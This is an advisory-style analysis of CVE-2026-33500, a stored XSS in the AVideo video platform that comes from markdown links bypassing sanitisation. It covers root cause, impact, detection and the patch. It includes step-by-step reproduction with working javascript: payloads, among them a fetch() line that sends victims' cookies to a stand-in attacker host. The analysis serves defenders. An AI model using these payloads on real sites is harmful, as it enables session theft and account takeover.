CVE-2026-33500: 
PHP vulnerability analysis and mitigation

CVE-2026-33500 is a stored Cross-Site Scripting (XSS) vulnerability in WWBN AVideo, an open source video platform, affecting all versions up to and including 26.0. The flaw is an incomplete fix for a prior vulnerability (CVE-2026-27568 / GHSA-rcqw-6466-3mv7): the replacement sanitization class ParsedownSafeWithLinks handles raw HTML tags but explicitly disables Parsedown's safeMode, leaving markdown-syntax links (e.g., [text](javascript:alert(1))) unsanitized. It was published on March 20, 2026, with a patch commit referenced on March 24, 2026. The CVSS v3.1 base score is 5.4 (Medium) (GitHub Advisory).

The root cause (CWE-79: Improper Neutralization of Input During Web Page Generation) lies in the markDownToHTML() function in objects/functionsSecurity.php, which instantiates ParsedownSafeWithLinks with setSafeMode(false). The custom sanitizeATag() method only intercepts raw HTML <a> and <img> tags processed via inlineMarkup(); markdown-syntax links are handled by Parsedown's core inlineLink() method, which constructs an element array passed to element(). Because safeMode is false, sanitiseElement() and its filterUnsafeUrlInAttribute() call — which would replace : with %3A for non-whitelisted schemes like javascript: — are never invoked. The payload is stored in the database via the comment system and rendered directly in the DOM through view/videoComments_template.php using the {commentWithLinks} template variable, with no further output encoding (GitHub Advisory).

Any authenticated user with comment permissions can inject a persistent javascript: URI payload into a video comment that executes in the browser of any other user who clicks the rendered link. Primary risks include session cookie theft (enabling full account takeover, including admin accounts), credential harvesting, and arbitrary actions performed in the victim's browser context. Confidentiality and integrity are both partially impacted (CVSS C:L/I:L), with a scope change (S:C) reflecting that the attacker's low-privilege comment context crosses into the viewing user's session trust boundary; availability is not directly affected (GitHub Advisory).

A proof-of-concept exploit with step-by-step reproduction instructions is publicly documented in the GitHub Security Advisory, including specific markdown payloads such as [Click here for more info](javascript:alert(document.cookie)) and a session-hijacking variant using fetch() to exfiltrate cookies (GitHub Advisory). The EPSS score is approximately 0.029% (0.000290), indicating low current exploitation probability. There is no evidence of in-the-wild exploitation or CISA KEV catalog inclusion at this time, and no threat actor attribution has been reported (Feedly). Exploitation requires a low-privilege authenticated account and victim interaction (clicking the malicious link), limiting opportunistic mass exploitation.

1. Obtain a low-privilege account: Log in to the target AVideo instance as any user with comment posting permissions.
2. Navigate to a target video: Browse to any video page that other users (including admins) are likely to view.
3. Post a malicious comment: Submit a comment containing a markdown link with a javascript: URI payload, for example:

   [Click here for more info](javascript:alert(document.cookie))

   For session hijacking, use:

   [See related video](javascript:fetch('https://attacker.example/steal?c='+document.cookie))

4. Payload stored: The comment is saved to the database. The xss_esc() function applies htmlspecialchars() but finds no HTML special characters in the markdown syntax, so the payload is stored unchanged.
5. Victim views the page: When another user loads the video page, markDownToHTML() converts the markdown to a rendered <a href="javascript:..."> link via Parsedown's inlineLink() with safeMode disabled, bypassing all URI filtering.
6. Victim clicks the link: The javascript: URI executes in the victim's browser context, exfiltrating session cookies or performing actions as the victim (GitHub Advisory).

• Logs: Web server access logs showing POST requests to video comment endpoints from low-privilege accounts, followed by subsequent GET requests to the same video page from different user accounts; application logs showing comments containing the string javascript: in the comment body field.
• Database: Comment records in the AVideo database containing markdown link syntax with javascript: URIs (e.g., [...](javascript:...)), particularly in the commentWithLinks or related comment columns.
• Network: Outbound HTTP requests from victim browsers to unexpected external domains immediately after viewing a video page (indicative of cookie exfiltration via fetch() or XMLHttpRequest); unusual requests to attacker-controlled endpoints containing URL-encoded cookie data in query parameters.
• Application Behavior: Unexpected session invalidations or account actions (e.g., profile changes, unauthorized posts) performed by users who recently viewed a specific video page (GitHub Advisory).

Apply the patch in commit 3ae02fa240939dbefc5949d64f05790fd25d728d, which overrides inlineLink() in ParsedownSafeWithLinks to apply the same URL scheme whitelist (allowing only https://, http://, mailto:, /, and #) to markdown-generated links (GitHub Advisory). As an interim workaround, implement a strict Content Security Policy (CSP) header that disallows javascript: URI execution, or temporarily disable the comment functionality. Alternatively, re-enabling safeMode(true) in Parsedown while finding a separate approach to allow whitelisted HTML tags would also remediate the bypass.